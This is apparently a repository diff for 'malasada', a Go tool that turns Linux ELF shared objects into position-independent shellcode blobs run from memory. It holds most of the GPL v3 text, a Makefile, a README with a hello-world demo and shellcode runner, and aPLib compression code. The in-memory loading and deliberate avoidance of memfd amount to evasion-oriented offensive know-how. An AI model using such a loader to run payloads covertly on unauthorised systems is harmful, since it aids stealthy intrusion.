invalidate such permission if you have separately received it.
|
||||
|
||||
d) If the work has interactive user interfaces, each must display
|
||||
Appropriate Legal Notices; however, if the Program has interactive
|
||||
interfaces that do not display Appropriate Legal Notices, your
|
||||
work need not make them do so.
|
||||
|
||||
A compilation of a covered work with other separate and independent
|
||||
works, which are not by their nature extensions of the covered work,
|
||||
and which are not combined with it such as to form a larger program,
|
||||
in or on a volume of a storage or distribution medium, is called an
|
||||
"aggregate" if the compilation and its resulting copyright are not
|
||||
used to limit the access or legal rights of the compilation's users
|
||||
beyond what the individual works permit. Inclusion of a covered work
|
||||
in an aggregate does not cause this License to apply to the other
|
||||
parts of the aggregate.
|
||||
|
||||
6. Conveying Non-Source Forms.
|
||||
|
||||
You may convey a covered work in object code form under the terms
|
||||
of sections 4 and 5, provided that you also convey the
|
||||
machine-readable Corresponding Source under the terms of this License,
|
||||
in one of these ways:
|
||||
|
||||
a) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by the
|
||||
Corresponding Source fixed on a durable physical medium
|
||||
customarily used for software interchange.
|
||||
|
||||
b) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by a
|
||||
written offer, valid for at least three years and valid for as
|
||||
long as you offer spare parts or customer support for that product
|
||||
model, to give anyone who possesses the object code either (1) a
|
||||
copy of the Corresponding Source for all the software in the
|
||||
product that is covered by this License, on a durable physical
|
||||
medium customarily used for software interchange, for a price no
|
||||
more than your reasonable cost of physically performing this
|
||||
conveying of source, or (2) access to copy the
|
||||
Corresponding Source from a network server at no charge.
|
||||
|
||||
c) Convey individual copies of the object code with a copy of the
|
||||
written offer to provide the Corresponding Source. This
|
||||
alternative is allowed only occasionally and noncommercially, and
|
||||
only if you received the object code with such an offer, in accord
|
||||
with subsection 6b.
|
||||
|
||||
d) Convey the object code by offering access from a designated
|
||||
place (gratis or for a charge), and offer equivalent access to the
|
||||
Corresponding Source in the same way through the same place at no
|
||||
further charge. You need not require recipients to copy the
|
||||
Corresponding Source along with the object code. If the place to
|
||||
copy the object code is a network server, the Corresponding Source
|
||||
may be on a different server (operated by you or a third party)
|
||||
that supports equivalent copying facilities, provided you maintain
|
||||
clear directions next to the object code saying where to find the
|
||||
Corresponding Source. Regardless of what server hosts the
|
||||
Corresponding Source, you remain obligated to ensure that it is
|
||||
available for as long as needed to satisfy these requirements.
|
||||
|
||||
e) Convey the object code using peer-to-peer transmission, provided
|
||||
you inform other peers where the object code and Corresponding
|
||||
Source of the work are being offered to the general public at no
|
||||
charge under subsection 6d.
|
||||
|
||||
A separable portion of the object code, whose source code is excluded
|
||||
from the Corresponding Source as a System Library, need not be
|
||||
included in conveying the object code work.
|
||||
|
||||
A "User Product" is either (1) a "consumer product", which means any
|
||||
tangible personal property which is normally used for personal, family,
|
||||
or household purposes, or (2) anything designed or sold for incorporation
|
||||
into a dwelling. In determining whether a product is a consumer product,
|
||||
doubtful cases shall be resolved in favor of coverage. For a particular
|
||||
product received by a particular user, "normally used" refers to a
|
||||
typical or common use of that class of product, regardless of the status
|
||||
of the particular user or of the way in which the particular user
|
||||
actually uses, or expects or is expected to use, the product. A product
|
||||
is a consumer product regardless of whether the product has substantial
|
||||
commercial, industrial or non-consumer uses, unless such uses represent
|
||||
the only significant mode of use of the product.
|
||||
|
||||
"Installation Information" for a User Product means any methods,
|
||||
procedures, authorization keys, or other information required to install
|
||||
and execute modified versions of a covered work in that User Product from
|
||||
a modified version of its Corresponding Source. The information must
|
||||
suffice to ensure that the continued functioning of the modified object
|
||||
code is in no case prevented or interfered with solely because
|
||||
modification has been made.
|
||||
|
||||
If you convey an object code work under this section in, or with, or
|
||||
specifically for use in, a User Product, and the conveying occurs as
|
||||
part of a transaction in which the right of possession and use of the
|
||||
User Product is transferred to the recipient in perpetuity or for a
|
||||
fixed term (regardless of how the transaction is characterized), the
|
||||
Corresponding Source conveyed under this section must be accompanied
|
||||
by the Installation Information. But this requirement does not apply
|
||||
if neither you nor any third party retains the ability to install
|
||||
modified object code on the User Product (for example, the work has
|
||||
been installed in ROM).
|
||||
|
||||
The requirement to provide Installation Information does not include a
|
||||
requirement to continue to provide support service, warranty, or updates
|
||||
for a work that has been modified or installed by the recipient, or for
|
||||
the User Product in which it has been modified or installed. Access to a
|
||||
network may be denied when the modification itself materially and
|
||||
adversely affects the operation of the network or violates the rules and
|
||||
protocols for communication across the network.
|
||||
|
||||
Corresponding Source conveyed, and Installation Information provided,
|
||||
in accord with this section must be in a format that is publicly
|
||||
documented (and with an implementation available to the public in
|
||||
source code form), and must require no special password or key for
|
||||
unpacking, reading or copying.
|
||||
|
||||
7. Additional Terms.
|
||||
|
||||
"Additional permissions" are terms that supplement the terms of this
|
||||
License by making exceptions from one or more of its conditions.
|
||||
Additional permissions that are applicable to the entire Program shall
|
||||
be treated as though they were included in this License, to the extent
|
||||
that they are valid under applicable law. If additional permissions
|
||||
apply only to part of the Program, that part may be used separately
|
||||
under those permissions, but the entire Program remains governed by
|
||||
this License without regard to the additional permissions.
|
||||
|
||||
When you convey a copy of a covered work, you may at your option
|
||||
remove any additional permissions from that copy, or from any part of
|
||||
it. (Additional permissions may be written to require their own
|
||||
removal in certain cases when you modify the work.) You may place
|
||||
additional permissions on material, added by you to a covered work,
|
||||
for which you have or can give appropriate copyright permission.
|
||||
|
||||
Notwithstanding any other provision of this License, for material you
|
||||
add to a covered work, you may (if authorized by the copyright holders of
|
||||
that material) supplement the terms of this License with terms:
|
||||
|
||||
a) Disclaiming warranty or limiting liability differently from the
|
||||
terms of sections 15 and 16 of this License; or
|
||||
|
||||
b) Requiring preservation of specified reasonable legal notices or
|
||||
author attributions in that material or in the Appropriate Legal
|
||||
Notices displayed by works containing it; or
|
||||
|
||||
c) Prohibiting misrepresentation of the origin of that material, or
|
||||
requiring that modified versions of such material be marked in
|
||||
reasonable ways as different from the original version; or
|
||||
|
||||
d) Limiting the use for publicity purposes of names of licensors or
|
||||
authors of the material; or
|
||||
|
||||
e) Declining to grant rights under trademark law for use of some
|
||||
trade names, trademarks, or service marks; or
|
||||
|
||||
f) Requiring indemnification of licensors and authors of that
|
||||
material by anyone who conveys the material (or modified versions of
|
||||
it) with contractual assumptions of liability to the recipient, for
|
||||
any liability that these contractual assumptions directly impose on
|
||||
those licensors and authors.
|
||||
|
||||
All other non-permissive additional terms are considered "further
|
||||
restrictions" within the meaning of section 10. If the Program as you
|
||||
received it, or any part of it, contains a notice stating that it is
|
||||
governed by this License along with a term that is a further
|
||||
restriction, you may remove that term. If a license document contains
|
||||
a further restriction but permits relicensing or conveying under this
|
||||
License, you may add to a covered work material governed by the terms
|
||||
of that license document, provided that the further restriction does
|
||||
not survive such relicensing or conveying.
|
||||
|
||||
If you add terms to a covered work in accord with this section, you
|
||||
must place, in the relevant source files, a statement of the
|
||||
additional terms that apply to those files, or a notice indicating
|
||||
where to find the applicable terms.
|
||||
|
||||
Additional terms, permissive or non-permissive, may be stated in the
|
||||
form of a separately written license, or stated as exceptions;
|
||||
the above requirements apply either way.
|
||||
|
||||
8. Termination.
|
||||
|
||||
You may not propagate or modify a covered work except as expressly
|
||||
provided under this License. Any attempt otherwise to propagate or
|
||||
modify it is void, and will automatically terminate your rights under
|
||||
this License (including any patent licenses granted under the third
|
||||
paragraph of section 11).
|
||||
|
||||
However, if you cease all violation of this License, then your
|
||||
license from a particular copyright holder is reinstated (a)
|
||||
provisionally, unless and until the copyright holder explicitly and
|
||||
finally terminates your license, and (b) permanently, if the copyright
|
||||
holder fails to notify you of the violation by some reasonable means
|
||||
prior to 60 days after the cessation.
|
||||
|
||||
Moreover, your license from a particular copyright holder is
|
||||
reinstated permanently if the copyright holder notifies you of the
|
||||
violation by some reasonable means, this is the first time you have
|
||||
received notice of violation of this License (for any work) from that
|
||||
copyright holder, and you cure the violation prior to 30 days after
|
||||
your receipt of the notice.
|
||||
|
||||
Termination of your rights under this section does not terminate the
|
||||
licenses of parties who have received copies or rights from you under
|
||||
this License. If your rights have been terminated and not permanently
|
||||
reinstated, you do not qualify to receive new licenses for the same
|
||||
material under section 10.
|
||||
|
||||
9. Acceptance Not Required for Having Copies.
|
||||
|
||||
You are not required to accept this License in order to receive or
|
||||
run a copy of the Program. Ancillary propagation of a covered work
|
||||
occurring solely as a consequence of using peer-to-peer transmission
|
||||
to receive a copy likewise does not require acceptance. However,
|
||||
nothing other than this License grants you permission to propagate or
|
||||
modify any covered work. These actions infringe copyright if you do
|
||||
not accept this License. Therefore, by modifying or propagating a
|
||||
covered work, you indicate your acceptance of this License to do so.
|
||||
|
||||
10. Automatic Licensing of Downstream Recipients.
|
||||
|
||||
Each time you convey a covered work, the recipient automatically
|
||||
receives a license from the original licensors, to run, modify and
|
||||
propagate that work, subject to this License. You are not responsible
|
||||
for enforcing compliance by third parties with this License.
|
||||
|
||||
An "entity transaction" is a transaction transferring control of an
|
||||
organization, or substantially all assets of one, or subdividing an
|
||||
organization, or merging organizations. If propagation of a covered
|
||||
work results from an entity transaction, each party to that
|
||||
transaction who receives a copy of the work also receives whatever
|
||||
licenses to the work the party's predecessor in interest had or could
|
||||
give under the previous paragraph, plus a right to possession of the
|
||||
Corresponding Source of the work from the predecessor in interest, if
|
||||
the predecessor has it or can get it with reasonable efforts.
|
||||
|
||||
You may not impose any further restrictions on the exercise of the
|
||||
rights granted or affirmed under this License. For example, you may
|
||||
not impose a license fee, royalty, or other charge for exercise of
|
||||
rights granted under this License, and you may not initiate litigation
|
||||
(including a cross-claim or counterclaim in a lawsuit) alleging that
|
||||
any patent claim is infringed by making, using, selling, offering for
|
||||
sale, or importing the Program or any portion of it.
|
||||
|
||||
11. Patents.
|
||||
|
||||
A "contributor" is a copyright holder who authorizes use under this
|
||||
License of the Program or a work on which the Program is based. The
|
||||
work thus licensed is called the contributor's "contributor version".
|
||||
|
||||
A contributor's "essential patent claims" are all patent claims
|
||||
owned or controlled by the contributor, whether already acquired or
|
||||
hereafter acquired, that would be infringed by some manner, permitted
|
||||
by this License, of making, using, or selling its contributor version,
|
||||
but do not include claims that would be infringed only as a
|
||||
consequence of further modification of the contributor version. For
|
||||
purposes of this definition, "control" includes the right to grant
|
||||
patent sublicenses in a manner consistent with the requirements of
|
||||
this License.
|
||||
|
||||
Each contributor grants you a non-exclusive, worldwide, royalty-free
|
||||
patent license under the contributor's essential patent claims, to
|
||||
make, use, sell, offer for sale, import and otherwise run, modify and
|
||||
propagate the contents of its contributor version.
|
||||
|
||||
In the following three paragraphs, a "patent license" is any express
|
||||
agreement or commitment, however denominated, not to enforce a patent
|
||||
(such as an express permission to practice a patent or covenant not to
|
||||
sue for patent infringement). To "grant" such a patent license to a
|
||||
party means to make such an agreement or commitment not to enforce a
|
||||
patent against the party.
|
||||
|
||||
If you convey a covered work, knowingly relying on a patent license,
|
||||
and the Corresponding Source of the work is not available for anyone
|
||||
to copy, free of charge and under the terms of this License, through a
|
||||
publicly available network server or other readily accessible means,
|
||||
then you must either (1) cause the Corresponding Source to be so
|
||||
available, or (2) arrange to deprive yourself of the benefit of the
|
||||
patent license for this particular work, or (3) arrange, in a manner
|
||||
consistent with the requirements of this License, to extend the patent
|
||||
license to downstream recipients. "Knowingly relying" means you have
|
||||
actual knowledge that, but for the patent license, your conveying the
|
||||
covered work in a country, or your recipient's use of the covered work
|
||||
in a country, would infringe one or more identifiable patents in that
|
||||
country that you have reason to believe are valid.
|
||||
|
||||
If, pursuant to or in connection with a single transaction or
|
||||
arrangement, you convey, or propagate by procuring conveyance of, a
|
||||
covered work, and grant a patent license to some of the parties
|
||||
receiving the covered work authorizing them to use, propagate, modify
|
||||
or convey a specific copy of the covered work, then the patent license
|
||||
you grant is automatically extended to all recipients of the covered
|
||||
work and works based on it.
|
||||
|
||||
A patent license is "discriminatory" if it does not include within
|
||||
the scope of its coverage, prohibits the exercise of, or is
|
||||
conditioned on the non-exercise of one or more of the rights that are
|
||||
specifically granted under this License. You may not convey a covered
|
||||
work if you are a party to an arrangement with a third party that is
|
||||
in the business of distributing software, under which you make payment
|
||||
to the third party based on the extent of your activity of conveying
|
||||
the work, and under which the third party grants, to any of the
|
||||
parties who would receive the covered work from you, a discriminatory
|
||||
patent license (a) in connection with copies of the covered work
|
||||
conveyed by you (or copies made from those copies), or (b) primarily
|
||||
for and in connection with specific products or compilations that
|
||||
contain the covered work, unless you entered into that arrangement,
|
||||
or that patent license was granted, prior to 28 March 2007.
|
||||
|
||||
Nothing in this License shall be construed as excluding or limiting
|
||||
any implied license or other defenses to infringement that may
|
||||
otherwise be available to you under applicable patent law.
|
||||
|
||||
12. No Surrender of Others' Freedom.
|
||||
|
||||
If conditions are imposed on you (whether by court order, agreement or
|
||||
otherwise) that contradict the conditions of this License, they do not
|
||||
excuse you from the conditions of this License. If you cannot convey a
|
||||
covered work so as to satisfy simultaneously your obligations under this
|
||||
License and any other pertinent obligations, then as a consequence you may
|
||||
not convey it at all. For example, if you agree to terms that obligate you
|
||||
to collect a royalty for further conveying from those to whom you convey
|
||||
the Program, the only way you could satisfy both those terms and this
|
||||
License would be to refrain entirely from conveying the Program.
|
||||
|
||||
13. Use with the GNU Affero General Public License.
|
||||
|
||||
Notwithstanding any other provision of this License, you have
|
||||
permission to link or combine any covered work with a work licensed
|
||||
under version 3 of the GNU Affero General Public License into a single
|
||||
combined work, and to convey the resulting work. The terms of this
|
||||
License will continue to apply to the part which is the covered work,
|
||||
but the special requirements of the GNU Affero General Public License,
|
||||
section 13, concerning interaction through a network will apply to the
|
||||
combination as such.
|
||||
|
||||
14. Revised Versions of this License.
|
||||
|
||||
The Free Software Foundation may publish revised and/or new versions of
|
||||
the GNU General Public License from time to time. Such new versions will
|
||||
be similar in spirit to the present version, but may differ in detail to
|
||||
address new problems or concerns.
|
||||
|
||||
Each version is given a distinguishing version number. If the
|
||||
Program specifies that a certain numbered version of the GNU General
|
||||
Public License "or any later version" applies to it, you have the
|
||||
option of following the terms and conditions either of that numbered
|
||||
version or of any later version published by the Free Software
|
||||
Foundation. If the Program does not specify a version number of the
|
||||
GNU General Public License, you may choose any version ever published
|
||||
by the Free Software Foundation.
|
||||
|
||||
If the Program specifies that a proxy can decide which future
|
||||
versions of the GNU General Public License can be used, that proxy's
|
||||
public statement of acceptance of a version permanently authorizes you
|
||||
to choose that version for the Program.
|
||||
|
||||
Later license versions may give you additional or different
|
||||
permissions. However, no additional obligations are imposed on any
|
||||
author or copyright holder as a result of your choosing to follow a
|
||||
later version.
|
||||
|
||||
15. Disclaimer of Warranty.
|
||||
|
||||
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
|
||||
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
|
||||
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
|
||||
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
|
||||
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
|
||||
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
|
||||
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
|
||||
|
||||
16. Limitation of Liability.
|
||||
|
||||
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
|
||||
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
|
||||
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
|
||||
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
|
||||
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
|
||||
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
|
||||
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
|
||||
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
|
||||
SUCH DAMAGES.
|
||||
|
||||
17. Interpretation of Sections 15 and 16.
|
||||
|
||||
If the disclaimer of warranty and limitation of liability provided
|
||||
above cannot be given local legal effect according to their terms,
|
||||
reviewing courts shall apply local law that most closely approximates
|
||||
an absolute waiver of all civil liability in connection with the
|
||||
Program, unless a warranty or assumption of liability accompanies a
|
||||
copy of the Program in return for a fee.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
How to Apply These Terms to Your New Programs
|
||||
|
||||
If you develop a new program, and you want it to be of the greatest
|
||||
possible use to the public, the best way to achieve this is to make it
|
||||
free software which everyone can redistribute and change under these terms.
|
||||
|
||||
To do so, attach the following notices to the program. It is safest
|
||||
to attach them to the start of each source file to most effectively
|
||||
state the exclusion of warranty; and each file should have at least
|
||||
the "copyright" line and a pointer to where the full notice is found.
|
||||
|
||||
<one line to give the program's name and a brief idea of what it does.>
|
||||
Copyright (C) <year> <name of author>
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
|
||||
Also add information on how to contact you by electronic and paper mail.
|
||||
|
||||
If the program does terminal interaction, make it output a short
|
||||
notice like this when it starts in an interactive mode:
|
||||
|
||||
<program> Copyright (C) <year> <name of author>
|
||||
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
|
||||
This is free software, and you are welcome to redistribute it
|
||||
under certain conditions; type `show c' for details.
|
||||
|
||||
The hypothetical commands `show w' and `show c' should show the appropriate
|
||||
parts of the General Public License. Of course, your program's commands
|
||||
might be different; for a GUI interface, you would use an "about box".
|
||||
|
||||
You should also get your employer (if you work as a programmer) or school,
|
||||
if any, to sign a "copyright disclaimer" for the program, if necessary.
|
||||
For more information on this, and how to apply and follow the GNU GPL, see
|
||||
<https://www.gnu.org/licenses/>.
|
||||
|
||||
The GNU General Public License does not permit incorporating your program
|
||||
into proprietary programs. If your program is a subroutine library, you
|
||||
may consider it more useful to permit linking proprietary applications with
|
||||
the library. If this is what you want to do, use the GNU Lesser General
|
||||
Public License instead of this License. But first, please read
|
||||
<https://www.gnu.org/licenses/why-not-lgpl.html>.
|
||||
+41
@@ -0,0 +1,41 @@
|
||||
GO ?= go
|
||||
|
||||
# The CLI does not use cgo; forcing this makes cross-compiles more reliable.
|
||||
CGO_ENABLED ?= 0
|
||||
|
||||
EXE :=
|
||||
ifeq ($(GOOS),windows)
|
||||
EXE := .exe
|
||||
endif
|
||||
|
||||
OUT ?= malasada$(EXE)
|
||||
|
||||
STAGE0_BINS := internal/stage0/stage0_linux_amd64.bin internal/stage0/stage0_linux_arm64.bin
|
||||
|
||||
.PHONY: all build test clean stage0 check-stage0
|
||||
|
||||
all: build
|
||||
|
||||
# Build the CLI for the current GOOS/GOARCH (or overridden values).
|
||||
build: check-stage0
|
||||
GOOS=$(GOOS) GOARCH=$(GOARCH) CGO_ENABLED=$(CGO_ENABLED) \
|
||||
$(GO) build -trimpath -o $(OUT) ./cli
|
||||
|
||||
test: check-stage0
|
||||
$(GO) test ./...
|
||||
|
||||
clean:
|
||||
rm -f $(OUT)
|
||||
|
||||
# Force regeneration of the embedded stage0 blobs.
|
||||
stage0:
|
||||
$(GO) generate ./...
|
||||
|
||||
check-stage0:
|
||||
@for f in $(STAGE0_BINS); do \
|
||||
if [ ! -f "$$f" ]; then \
|
||||
echo "Missing $$f"; \
|
||||
echo "Run: make stage0"; \
|
||||
exit 1; \
|
||||
fi; \
|
||||
done
|
||||
+80
@@ -0,0 +1,80 @@
|
||||
# malasada
|
||||
|
||||
[Donut](https://github.com/sliverarmory/wasm-donut) for Linux, converts a Linux ELF shared object (`.so`) into a position-independent `.bin` blob that can be executed directly from memory (for example, by copying it into an `mmap`'d region and jumping to it as a function pointer).
|
||||
|
||||
This project intentionally avoids `memfd` (`memfd_create`, `execveat` on memfd, etc).
|
||||
|
||||
## Supported Platforms
|
||||
|
||||
- Linux `amd64`
|
||||
- Linux `arm64`
|
||||
|
||||
## Build
|
||||
|
||||
Requirements:
|
||||
|
||||
- Go 1.25+
|
||||
- Zig 0.15+ (required for `go generate` and for tests)
|
||||
|
||||
Build the CLI:
|
||||
|
||||
```bash
|
||||
make
|
||||
```
|
||||
|
||||
## Quick Start (Local)
|
||||
|
||||
Build a hello-world `.so`, convert it to a `.bin`, and run it with the included runner:
|
||||
|
||||
```bash
|
||||
# Build payload .so
|
||||
go build -buildmode=c-shared -o /tmp/hello.so ./testdata/hello
|
||||
|
||||
# Convert .so -> .bin (call the exported symbol "Hello")
|
||||
./malasada --call-export Hello -o /tmp/hello.bin /tmp/hello.so
|
||||
|
||||
# Optional: compress the embedded payload (stage0 will depack before loading)
|
||||
./malasada --compress --call-export Hello -o /tmp/hello.compressed.bin /tmp/hello.so
|
||||
|
||||
# Build the runner (PIC shellcode executor) with zig cc
|
||||
zig cc -O2 -o /tmp/runner ./testdata/runner/runner.c
|
||||
|
||||
# Run it (stage0 hands off to ld-linux; runner will not return)
|
||||
/tmp/runner /tmp/hello.bin
|
||||
```
|
||||
|
||||
Expected output contains:
|
||||
|
||||
```
|
||||
hello from go
|
||||
```
|
||||
|
||||
## go generate (Prebuild + Embed stage0)
|
||||
|
||||
The repo embeds prebuilt `stage0` blobs:
|
||||
|
||||
- `internal/stage0/stage0_linux_amd64.bin`
|
||||
- `internal/stage0/stage0_linux_arm64.bin`
|
||||
|
||||
If you edit `internal/stage0/stage0.c` or `internal/stage0/linker.ld`, regenerate them:
|
||||
|
||||
```bash
|
||||
go generate ./...
|
||||
```
|
||||
|
||||
The CLI always uses the embedded `stage0` blobs (no Zig needed at runtime). To change `stage0`, edit `internal/stage0/stage0.c` and re-run:
|
||||
|
||||
```bash
|
||||
go generate ./...
|
||||
```
|
||||
|
||||
## Docker Test Harness
|
||||
|
||||
`testdata/Dockerfile` builds the CLI, builds the hello `.so`, converts it to a `.bin`, builds the runner with Zig, and runs the end-to-end test in a Linux container.
|
||||
|
||||
Examples:
|
||||
|
||||
```bash
|
||||
docker buildx build --platform linux/amd64 -f testdata/Dockerfile .
|
||||
docker buildx build --platform linux/arm64 -f testdata/Dockerfile .
|
||||
```
|
||||
+201
@@ -0,0 +1,201 @@
|
||||
package aplib
|
||||
|
||||
import "errors"
|
||||
|
||||
var ErrCorrupt = errors.New("aplib: corrupt data")
|
||||
|
||||
// Depack decompresses a raw aPLib stream (without any safe header).
|
||||
func Depack(src []byte) ([]byte, error) {
|
||||
if len(src) == 0 {
|
||||
return nil, ErrCorrupt
|
||||
}
|
||||
|
||||
r := bitReader{src: src, pos: 1}
|
||||
out := make([]byte, 0, len(src))
|
||||
out = append(out, src[0])
|
||||
|
||||
var (
|
||||
r0 uint32 = ^uint32(0)
|
||||
lwm uint32 = 0
|
||||
)
|
||||
|
||||
for {
|
||||
bit, ok := r.getBit()
|
||||
if !ok {
|
||||
return nil, ErrCorrupt
|
||||
}
|
||||
|
||||
if bit == 0 {
|
||||
b, ok := r.getByte()
|
||||
if !ok {
|
||||
return nil, ErrCorrupt
|
||||
}
|
||||
out = append(out, b)
|
||||
lwm = 0
|
||||
continue
|
||||
}
|
||||
|
||||
bit, ok = r.getBit()
|
||||
if !ok {
|
||||
return nil, ErrCorrupt
|
||||
}
|
||||
|
||||
if bit == 0 {
|
||||
offs, ok := r.getGamma()
|
||||
if !ok {
|
||||
return nil, ErrCorrupt
|
||||
}
|
||||
|
||||
if lwm == 0 && offs == 2 {
|
||||
offs = r0
|
||||
ln, ok := r.getGamma()
|
||||
if !ok {
|
||||
return nil, ErrCorrupt
|
||||
}
|
||||
if offs == 0 || int(offs) > len(out) {
|
||||
return nil, ErrCorrupt
|
||||
}
|
||||
for i := uint32(0); i < ln; i++ {
|
||||
out = append(out, out[len(out)-int(offs)])
|
||||
}
|
||||
} else {
|
||||
if lwm == 0 {
|
||||
if offs < 3 {
|
||||
return nil, ErrCorrupt
|
||||
}
|
||||
offs -= 3
|
||||
} else {
|
||||
if offs < 2 {
|
||||
return nil, ErrCorrupt
|
||||
}
|
||||
offs -= 2
|
||||
}
|
||||
|
||||
lo, ok := r.getByte()
|
||||
if !ok {
|
||||
return nil, ErrCorrupt
|
||||
}
|
||||
offs = (offs << 8) + uint32(lo)
|
||||
|
||||
ln, ok := r.getGamma()
|
||||
if !ok {
|
||||
return nil, ErrCorrupt
|
||||
}
|
||||
if offs >= 32000 {
|
||||
ln++
|
||||
}
|
||||
if offs >= 1280 {
|
||||
ln++
|
||||
}
|
||||
if offs < 128 {
|
||||
ln += 2
|
||||
}
|
||||
if offs == 0 || int(offs) > len(out) {
|
||||
return nil, ErrCorrupt
|
||||
}
|
||||
for i := uint32(0); i < ln; i++ {
|
||||
out = append(out, out[len(out)-int(offs)])
|
||||
}
|
||||
r0 = offs
|
||||
}
|
||||
|
||||
lwm = 1
|
||||
continue
|
||||
}
|
||||
|
||||
bit, ok = r.getBit()
|
||||
if !ok {
|
||||
return nil, ErrCorrupt
|
||||
}
|
||||
if bit == 0 {
|
||||
b, ok := r.getByte()
|
||||
if !ok {
|
||||
return nil, ErrCorrupt
|
||||
}
|
||||
ln := uint32(2 + (b & 1))
|
||||
offs := uint32(b >> 1)
|
||||
if offs == 0 {
|
||||
break
|
||||
}
|
||||
if int(offs) > len(out) {
|
||||
return nil, ErrCorrupt
|
||||
}
|
||||
for i := uint32(0); i < ln; i++ {
|
||||
out = append(out, out[len(out)-int(offs)])
|
||||
}
|
||||
r0 = offs
|
||||
lwm = 1
|
||||
continue
|
||||
}
|
||||
|
||||
// bit == 1: 1 1 1
|
||||
offs := uint32(0)
|
||||
for i := 0; i < 4; i++ {
|
||||
bit, ok := r.getBit()
|
||||
if !ok {
|
||||
return nil, ErrCorrupt
|
||||
}
|
||||
offs = (offs << 1) + uint32(bit)
|
||||
}
|
||||
if offs != 0 {
|
||||
if int(offs) > len(out) {
|
||||
return nil, ErrCorrupt
|
||||
}
|
||||
out = append(out, out[len(out)-int(offs)])
|
||||
} else {
|
||||
out = append(out, 0)
|
||||
}
|
||||
lwm = 0
|
||||
}
|
||||
|
||||
return out, nil
|
||||
}
|
||||
|
||||
type bitReader struct {
|
||||
src []byte
|
||||
pos int
|
||||
tag byte
|
||||
bitCount int
|
||||
}
|
||||
|
||||
func (r *bitReader) getByte() (byte, bool) {
|
||||
if r.pos >= len(r.src) {
|
||||
return 0, false
|
||||
}
|
||||
b := r.src[r.pos]
|
||||
r.pos++
|
||||
return b, true
|
||||
}
|
||||
|
||||
func (r *bitReader) getBit() (uint8, bool) {
|
||||
if r.bitCount == 0 {
|
||||
if r.pos >= len(r.src) {
|
||||
return 0, false
|
||||
}
|
||||
r.tag = r.src[r.pos]
|
||||
r.pos++
|
||||
r.bitCount = 8
|
||||
}
|
||||
bit := (r.tag >> 7) & 1
|
||||
r.tag <<= 1
|
||||
r.bitCount--
|
||||
return bit, true
|
||||
}
|
||||
|
||||
func (r *bitReader) getGamma() (uint32, bool) {
|
||||
v := uint32(1)
|
||||
for {
|
||||
bit, ok := r.getBit()
|
||||
if !ok {
|
||||
return 0, false
|
||||
}
|
||||
v = (v << 1) + uint32(bit)
|
||||
bit, ok = r.getBit()
|
||||
if !ok {
|
||||
return 0, false
|
||||
}
|
||||
if bit == 0 {
|
||||
return v, true
|
||||
}
|
||||
}
|
||||
}
|
||||
+202
@@ -0,0 +1,202 @@
|
||||
package aplib
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"math/bits"
|
||||
)
|
||||
|
||||
var (
|
||||
ErrEmptyInput = errors.New("aplib: empty input")
|
||||
ErrTooLarge = errors.New("aplib: input too large")
|
||||
)
|
||||
|
||||
// Pack compresses src into the raw aPLib bitstream format expected by aP_depack().
|
||||
//
|
||||
// This implements a compatible (not necessarily optimal) encoder which is sufficient
|
||||
// for the loader to depack staged dylibs.
|
||||
func Pack(src []byte) ([]byte, error) {
|
||||
if len(src) == 0 {
|
||||
return nil, ErrEmptyInput
|
||||
}
|
||||
if uint64(len(src)) > uint64(^uint32(0)) {
|
||||
return nil, ErrTooLarge
|
||||
}
|
||||
|
||||
w := newBitWriter(src[0])
|
||||
lastWasMatch := false // LWM=0 at stream start
|
||||
|
||||
const (
|
||||
hashBits = 16
|
||||
minMatchLen = 4
|
||||
)
|
||||
|
||||
hashTable := make([]int, 1<<hashBits) // stores pos+1
|
||||
|
||||
hash4 := func(b []byte) uint32 {
|
||||
v := binary.LittleEndian.Uint32(b)
|
||||
return (v * 2654435761) >> (32 - hashBits)
|
||||
}
|
||||
|
||||
// Seed with position 0 if we can hash it.
|
||||
if len(src) >= 4 {
|
||||
h := hash4(src[:4])
|
||||
hashTable[h] = 0 + 1
|
||||
}
|
||||
|
||||
pos := 1
|
||||
for pos < len(src) {
|
||||
bestOff := 0
|
||||
bestLen := 0
|
||||
|
||||
if pos+minMatchLen <= len(src) {
|
||||
h := hash4(src[pos : pos+4])
|
||||
candidate := hashTable[h] - 1
|
||||
hashTable[h] = pos + 1
|
||||
|
||||
